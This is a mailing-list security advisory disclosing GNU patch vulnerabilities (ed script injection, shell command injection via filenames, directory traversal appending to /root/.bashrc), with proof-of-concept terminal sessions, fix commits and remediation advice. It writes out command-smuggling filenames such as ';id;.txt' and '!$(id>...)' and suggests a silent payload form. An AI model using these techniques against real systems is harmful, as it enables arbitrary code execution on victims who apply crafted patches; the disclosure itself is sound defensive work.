Details about recent GNU patch vulnerabilities

From: Imre Rad <radimre83@gmail.com>
To: bugtraq@securityfocus.com
Cc:
Subject: Details about recent GNU patch vulnerabilities
Date:


I identified several vulnerabilities in the GNU patch utility, some of
them making it possible to execute arbitrary code if the victim opens
a crafted patch file. It also turned out, some of these
vulnerabilities had been silently addressed by the maintainer back
then in 2018 when CVE-2018-1000156 was reported. Some Linux
distributions (like Debian, Ubuntu or Fedora) applied only the primary
patch and thus they remained vulnerable to the attack vectors
described below.

The PoC files can be found in this repository:

https://github.com/irsl/gnu-patch-vulnerabilities



CVE-2018-1000156 - unrestricted ed input

I'm unsure who the author of this finding is, but adding some details
to make the story more clear. The original thread on the official bug
report site:

https://savannah.gnu.org/bugs/?53566

The official patch of CVE-2018-1000156 is:

https://git.savannah.gnu.org/cgit/patch.git/commit/?id=123eaff0d5d1aebe128295959435b9ca5909c26d

According to the comment of the commit:

src/pch.c (do_ed_script): Write ed script to a temporary file instead
of piping it to ed: this will cause ed to abort on invalid commands
instead of rejecting them and carrying on.

The thing is, ed's behaviour is different when the ed script is coming
from a pipe (see the edoffset.script attached):

root@55c24e15f7e6:/data/edstyle5# touch whatever
root@55c24e15f7e6:/data/edstyle5# cat edoffset.script | ed whatever
0
?
!
0
root@55c24e15f7e6:/data/edstyle5# cat id-proof.txt
uid=0(root) gid=0(root) groups=0(root)

And when it is duped:

root@55c24e15f7e6:/data/edstyle5#  rm id-proof.txt
root@55c24e15f7e6:/data/edstyle5#  ed whatever < edoffset.script
0
?
root@55c24e15f7e6:/data/edstyle5# cat id-proof.txt
cat: id-proof.txt: No such file or directory

And now the same via patch:

root@55c24e15f7e6:/data/edstyle5#
../patch-2.7.6-vanilla/patch-2.7.6/src/patch  < CVE-2018-1000156.patch
patching file file
?
foo
../patch-2.7.6-vanilla/patch-2.7.6/src/patch: **** /bin/ed FAILED
root@55c24e15f7e6:/data/edstyle5# cat CVE-2018-1000156-proof.txt
uid=0(root) gid=0(root) groups=0(root)

CVE-2018-1000156.patch here is pretty much the same as the original
PoC created for that issue (poc.patch among the attachments on
savannah linked above).



CVE-2019-13638 - Shell command injection while invoking ed

The GNU patch utility used to invoke ed via the shell interpreter and
the filenames were not sanitized correctly, making it vulnerable to
shell command injection. This way, exploitation of CVE-2019-13638
doesn't even require ed to be installed.

The official fix was pushed to the repo the same day as for
CVE-2018-1000156, but many distributions didn't pick it up:

https://git.savannah.gnu.org/cgit/patch.git/commit/?id=3fcd042d26d70856e826a42b5f93dc4854d80bf0

The proof of concept:

root@3ffaeb445eab:/data/edstyle4# patch --version
GNU patch 2.7.6
...

root@3ffaeb445eab:/data/edstyle4# patch < CVE-2019-13638.patch
patching file ';id;.txt'
sh: 1: ed: not found
uid=0(root) gid=0(root) groups=0(root)
sh: 1: .txt.o60SfgR: not found
patch: **** ed FAILED


I think a filename like "2>/dev/null; real payload; exit 0 #" could
make the overall result of the patch execution successful without
showing any errors.


CVE-2019-13636 - Directory traversal and file append

The directory traversal here made it possible to escape the working
directory of patch and append (almost) arbitrary file content to any
files on the file system.

This finding is unrelated to the 2018 one, and was fixed only after I
reported it. Official patch:

https://git.savannah.gnu.org/cgit/patch.git/commit/?id=dce4683cbbe107a95f1f0d45fabc304acfb5d71a

When patch was saving a rejection, it did not check properly whether
the file already exists or not. This could be abused to escape the
working dir:

root@3ffaeb445eab:/data/test1/test-apply3#  cat CVE-2019-13636.patch | patch
patching symbolic link home
patching symbolic link home.rej
File home is not a regular file -- refusing to patch
1 out of 1 hunk ignored -- saving rejects to file home.rej
patching symbolic link home
patching symbolic link home.rej


root@3ffaeb445eab:/data/test1/test-apply3# cat /root/.bashrc
# ~/.bashrc: executed by bash(1) for non-login shells.
...
# alias mv='mv -i'
--- home
+++ home
@@ -0,0 +1,3 @@
+ partially
+ controlled
+ content



CVE-2018-20969 - OS shell command execution via ! prefixed ed filenames

If ed receives an exclaimation mark prefixed command line argument, it
is executed as a shell command via popen. This was exploitable via GNU
patch as well.

Official fix:

https://git.savannah.gnu.org/cgit/patch.git/commit/?id=3fcd042d26d70856e826a42b5f93dc4854d80bf0

The referenced patch is the same as for CVE-2019-13638; note the assertion line.

(Yes, CVE-2018-20969 was reported by me in 2019 along with the other
two and MITRE indeed assigned a 2018 ID for it)

Since ed is capturing the output of what it executes and the same
version of GNU patch was vulnerable I decided to build 2 versions of
patch with the above patch applied, one with the assertion line and
one without it.

root@a8e181dcb4b1:/data# diff
/data/patch-3fcd042d26d70856e826a42b5f93dc4854d80bf0-assert/src/pch.c
/data/patch-3fcd042d26d70856e826a42b5f93dc4854d80bf0-noassert/src/pch.c
2470c2470
<           assert (outname[0] != '!' && outname[0] != '-');
---
>           // assert (outname[0] != '!' && outname[0] != '-');

root@a8e181dcb4b1:/data/edstyle5#
../patch-3fcd042d26d70856e826a42b5f93dc4854d80bf0-assert/src/patch -p0
< CVE-2018-20969.patch
patching file '!$(id>exclam-proof.txt);/foo'
patch: pch.c:2470: do_ed_script: Assertion `outname[0] != '!' &&
outname[0] != '-'' failed.
../patch-3fcd042d26d70856e826a42b5f93dc4854d80bf0-assert/src/patch:
**** ed FAILED
root@a8e181dcb4b1:/data/edstyle5# cat exclam-proof.txt
cat: exclam-proof.txt: No such file or directory


root@a8e181dcb4b1:/data/edstyle5#
../patch-3fcd042d26d70856e826a42b5f93dc4854d80bf0-noassert/src/patch
-p0 < CVE-2018-20969.patch
patching file '!$(id>exclam-proof.txt);/foo'
sh: 1: /foo.oislN9J: not found
../patch-3fcd042d26d70856e826a42b5f93dc4854d80bf0-noassert/src/patch:
**** ed FAILED
root@a8e181dcb4b1:/data/edstyle5# cat exclam-proof.txt
uid=0(root) gid=0(root) groups=0(root)



Remediation

Upgrade to latest version of patch provided by your Operating System.
If you build your own, bump to the head of the master branch.



Additional references

https://github.com/irsl/gnu-patch-vulnerabilities
https://security-tracker.debian.org/tracker/CVE-2019-13636
https://security-tracker.debian.org/tracker/CVE-2019-13638
https://usn.ubuntu.com/4071-1/
https://bugzilla.redhat.com/show_bug.cgi?id=1732781
https://bugzilla.redhat.com/show_bug.cgi?id=1733916





Copyright © 1995-2019 LinuxRocket.net. All rights reserved.